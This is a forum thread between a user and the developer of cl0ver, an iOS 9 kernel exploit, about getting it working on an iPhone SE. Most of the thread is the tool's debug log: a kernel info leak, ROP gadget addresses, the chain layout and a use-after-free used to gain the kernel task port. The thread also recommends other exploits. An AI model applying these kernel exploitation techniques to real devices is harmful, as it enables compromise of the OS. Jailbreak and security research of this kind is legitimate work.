cl0ver - iPhone 5s - panic files

Questions and Answers about all things *OS (macOS, iOS, tvOS, watchOS)

cl0ver - iPhone 5s - panic files

Postby backendbilly » Tue Aug 29, 2017 3:57 am

Hi Siguza,

I'm using cl0ver on an iPhone 5s running 9.2.1. I'm attaching panic logs here.

Billy
Attachments
cl0ver-panic.zip
(32.39 KiB) Downloaded 15 times
backendbilly
Site Admin
 
Posts: 132
Joined: Fri May 29, 2015 5:58 pm

Re: cl0ver - iPhone 5s - panic files

Postby Siguza » Tue Aug 29, 2017 10:25 am

Borked, doesn't contain the vtab.
But at this point you'd be much better off just using jbme.qwertyoruiop.com, that'll give you tfp0. Then if you feel like it, you can dump the kernel with kern-utils, place it at /etc/cl0ver/kernel.bin and create /etc/cl0ver/config.txt with:
Code: Select all
0xffffff800452a000
0x0
Then cl0ver should be fully operational.
And if qwerty's jbme doesn't work, you'd still be better off plugging the PhœnixNonce exploit file into kern-utils to dump the kernel... much better chances than with cl0ver. :P

(Also damn, iOS 10's unencrypted kernels are a luxury...)
User avatar
Siguza
Unicorn
 
Posts: 158
Joined: Thu Jan 28, 2016 10:38 am

Re: cl0ver - iPhone 5s - panic files

Postby backendbilly » Tue Aug 29, 2017 2:55 pm

Honestly I'm more interested in tfp0 to try Xerub's kexty, which requires a decrypted kernel with symbols. My initial process to gain tfp0 was trying jbme.qwertyoruiop.com but it never worked. Safari kept displaying an error and that it had to refresh the page. Bummer
backendbilly
Site Admin
 
Posts: 132
Joined: Fri May 29, 2015 5:58 pm

Re: cl0ver - iPhone 5s - panic files

Postby backendbilly » Wed Aug 30, 2017 1:55 am

OK, I have iPhone 5s running 9.3.3. Here is the output of cl0ver:

iPhone:~ root# ./cl0ver
[*] Checking for config file... [src/lib/offsets.c:176 off_cfg]
[*] Nope, let's hope the registry has a compatible anchor & vtab... [src/lib/offsets.c:180 off_cfg]
[*] Page size: 0x0000000000004000 [src/lib/uaf_rop.c:113 uaf_rop_stack]
[*] Allocating ROP stack page at 0x000000000c000000 [src/lib/uaf_rop.c:117 uaf_rop_stack]
[*] Allocated ROP page at 0x000000000c000000 [src/lib/uaf_rop.c:123 uaf_rop_stack]
[*] Initializing offsets... [src/lib/offsets.c:252 off_init]
[*] Checking for offsets cache file... [src/lib/offsets.c:265 off_init]
[*] Yes, trying to load offsets from cache... [src/lib/offsets.c:271 off_init]
[*] Successfully loaded offsets from cache, skipping kernel dumping. [src/lib/offsets.c:288 off_init]
[*] Using info leak to get kernel slide... [src/lib/slide.c:64 get_kernel_slide]
[*] Dict: [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[0]: 0x000000d3 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[1]: 0x81000002 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[2]: 0x08000004 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[3]: 0x006c6f6c [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[4]: 0x84000400 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[5]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] dict[6]: 0x69696969 [src/lib/slide.c:33 get_kernel_anchor]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] Getting IO service handle... [src/lib/io.c:45 _io_get_service]
[*] Getting IO master port... [src/lib/io.c:30 get_io_master_port]
[*] Creating dict iterator... [src/lib/io.c:72 _io_iterator]
[*] Getting next element from iterator... [src/lib/io.c:84 _io_next]
[*] Releasing user client... [src/lib/io.c:131 _io_release_client]
[*] Kernel stack: [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 0]: 0x6969696969696969 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 1]: 0xffffff8014b36000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 2]: 0x00000000ff002bf1 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 3]: 0xffffff8118ae85cc [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 4]: 0xffffff81175d1ab4 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 5]: 0xffffff8118be1000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 6]: 0xffffff8118ae85a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 7]: 0xffffff80118938a0 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 8]: 0xffffff80146d55f8 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[ 9]: 0x0000000000000003 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[10]: 0x0000000000000000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[11]: 0xffffff8118ae8000 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[12]: 0x0000000000001074 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[13]: 0xffffff8014b3ca50 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[14]: 0x0000000000000018 [src/lib/slide.c:44 get_kernel_anchor]
[*] buf[15]: 0xffffff8014b38400 [src/lib/slide.c:44 get_kernel_anchor]
[*] Getting anchor address from registry... [src/lib/offsets.c:37 reg_anchor]
[*] Model: N69AP [src/lib/device.c:34 get_model_internal]
[*] OS build: 13G34 [src/lib/device.c:102 get_os_version_internal]
[*] Got anchor: 0xffffff8004536000 [src/lib/offsets.c:148 off_anchor]
[*] Kernel slide: 0x0000000010600000 [src/lib/slide.c:67 get_kernel_slide]
[*] Offsets: [src/lib/offsets.c:434 off_init]
[*] gadget_load_x20_x19 = 0xffffff8014609dc8 [src/lib/offsets.c:435 off_init]
[*] gadget_ldp_x9_add_sp_sp_0x10 = 0xffffff80160bff5c [src/lib/offsets.c:436 off_init]
[*] gadget_ldr_x0_sp_0x20_load_x22_x19 = 0xffffff80146e3d1c [src/lib/offsets.c:437 off_init]
[*] gadget_add_x0_x0_x19_load_x20_x19 = 0xffffff80146ddbcc [src/lib/offsets.c:438 off_init]
[*] gadget_blr_x20_load_x22_x19 = 0xffffff801545eb60 [src/lib/offsets.c:439 off_init]
[*] gadget_str_x0_x19_load_x20_x19 = 0xffffff801462b698 [src/lib/offsets.c:440 off_init]
[*] gadget_ldr_x0_x21_load_x24_x19 = 0xffffff80148fbfbc [src/lib/offsets.c:441 off_init]
[*] gadget_OSUnserializeXML_return = 0xffffff80149f08c4 [src/lib/offsets.c:442 off_init]
[*] frag_mov_x1_x20_blr_x19 = 0xffffff801462d978 [src/lib/offsets.c:443 off_init]
[*] func_ldr_x0_x0 = 0xffffff8014719534 [src/lib/offsets.c:444 off_init]
[*] func_current_task = 0xffffff8014652e0c [src/lib/offsets.c:445 off_init]
[*] func_ipc_port_copyout_send = 0xffffff801461fc48 [src/lib/offsets.c:446 off_init]
[*] func_ipc_port_make_send = 0xffffff801461fb9c [src/lib/offsets.c:447 off_init]
[*] data_kernel_task = 0xffffff8014b36010 [src/lib/offsets.c:448 off_init]
[*] data_realhost_special = 0xffffff8014b946c0 [src/lib/offsets.c:449 off_init]
[*] off_task_itk_self = 0x00000000000000e8 [src/lib/offsets.c:450 off_init]
[*] off_task_itk_space = 0x00000000000002a0 [src/lib/offsets.c:451 off_init]
[*] OSUnserializeXML_stack = 0x0000000000000100 [src/lib/offsets.c:452 off_init]
[*] is_io_service_open_extended_stack = 0x0000000000000120 [src/lib/offsets.c:453 off_init]
[*] Rop chain: 0x000000000c000000-0x000000000c000330 [src/lib/exploit.c:73 get_kernel_task]
[*] fp: 0x000000000c000010 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000020 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000030 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000040 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000050 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000060 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000070 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000080 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000090 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0000a0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0000b0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0000c0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80160bff5c [src/lib/exploit.c:77 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0000f0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80146e3d1c [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0xfffffffffffffee0 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000110 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80146ddbcc [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x000000000c000320 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000130 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801462b698 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000150 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff8014609dc8 [src/lib/exploit.c:77 get_kernel_task]
[*] 0xffffff8014652e0c [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000180 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801545eb60 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x00000000000002a0 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0001a0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80146ddbcc [src/lib/exploit.c:77 get_kernel_task]
[*] 0xffffff8014719534 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0001d0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801545eb60 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0xffffff8014b36010 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x000000000c0002a0 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0001f0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801462b698 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000230 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80148fbfbc [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x00000000000000e8 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000250 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80146ddbcc [src/lib/exploit.c:77 get_kernel_task]
[*] 0xffffff8014719534 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000280 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801545eb60 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0xffffff801461fb9c [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0002b0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801545eb60 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x00000000baadf00d [src/lib/exploit.c:84 get_kernel_task]
[*] 0xffffff8014609dc8 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c0002d0 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801462d978 [src/lib/exploit.c:77 get_kernel_task]
[*] 0xffffff801461fc48 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000300 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801545eb60 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000100100474 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x000000000c000320 [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff801462b698 [src/lib/exploit.c:77 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] 0x0000000000000000 [src/lib/exploit.c:84 get_kernel_task]
[*] ---------------------- [src/lib/exploit.c:87 get_kernel_task]
[*] fp: 0x00000000deadbeef [src/lib/exploit.c:76 get_kernel_task]
[*] lr: 0xffffff80149f08c4 [src/lib/exploit.c:77 get_kernel_task]
[*] Executing ROP chain... [src/lib/uaf_rop.c:131 uaf_rop]
[*] Using UAF to gain PC control... [src/lib/uaf_rop.c:19 uaf_parse]
[*] Data: [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[0]: 0x6fd179f0 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[1]: 0x00000001 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[2]: 0x00000064 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[3]: 0x00000001 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[4]: 0x00000000 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[5]: 0x00000001 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[6]: 0x00000000 [src/lib/uaf_rop.c:22 uaf_parse]
[*] data[7]: 0x00000000 [src/lib/uaf_rop.c:22 uaf_parse]
[*] dict_90: [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 0]: 0x000000d3 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 1]: 0x81000004 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 2]: 0x08000004 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 3]: 0x00727473 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 4]: 0x09000004 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 5]: 0x00727473 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 6]: 0x0c000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 7]: 0x0b000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 8]: 0x0c000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[ 9]: 0x0a000020 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[10]: 0x6fd179f0 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[11]: 0x00000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[12]: 0x00000064 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[13]: 0x00000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[14]: 0x00000000 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[15]: 0x00000001 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[16]: 0x00000000 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[17]: 0x00000000 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[18]: 0x08000004 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[19]: 0x00666572 [src/lib/uaf_rop.c:99 uaf_parse]
[*] dict_90[20]: 0x8c000002 [src/lib/uaf_rop.c:99 uaf_parse]
[*] Spawning user client / Parsing dictionary... [src/lib/io.c:59 _io_spawn_client]
[*] TODO: fix ROP to return 0 [src/lib/exploit.c:100 get_kernel_task]
[!] Unhandled error: Failed to get kernel task (0) [src/lib/exploit.c:105 get_kernel_task]
iPhone:~ root# ./kdump
[!] Failed to get kernel task ((os/kern) failure, kernel_task = 0)
iPhone:~ root# ls -alh /etc/cl0ver/
total 26M
drwxr-xr-x 2 root wheel 136 Aug 29 21:40 .
drwxr-xr-x 14 root wheel 952 Aug 29 21:27 ..
-rw-r--r-- 1 root wheel 26M Aug 29 21:41 kernel.bin
-rw-r--r-- 1 root wheel 160 Aug 29 21:40 offsets.dat
iPhone:~ root#
backendbilly
Site Admin
 
Posts: 132
Joined: Fri May 29, 2015 5:58 pm

Re: cl0ver - iPhone 5s - panic files

Postby Siguza » Wed Aug 30, 2017 2:26 pm

Huh, you actually found a bug: if no config file exists, then the code deciding whether to use the 9.0 or 9.2 payload never runs, and defaults to 9.0. Pushed v1.1.4 which fixes that.

Also your device is an SE, not a 5s. :P
User avatar
Siguza
Unicorn
 
Posts: 158
Joined: Thu Jan 28, 2016 10:38 am

Re: cl0ver - iPhone 5s - panic files

Postby backendbilly » Wed Aug 30, 2017 2:51 pm

Yes sir it is an SE. Now it works :)
backendbilly
Site Admin
 
Posts: 132
Joined: Fri May 29, 2015 5:58 pm


Return to Questions and Answers

Who is online

Users browsing this forum: No registered users and 5 guests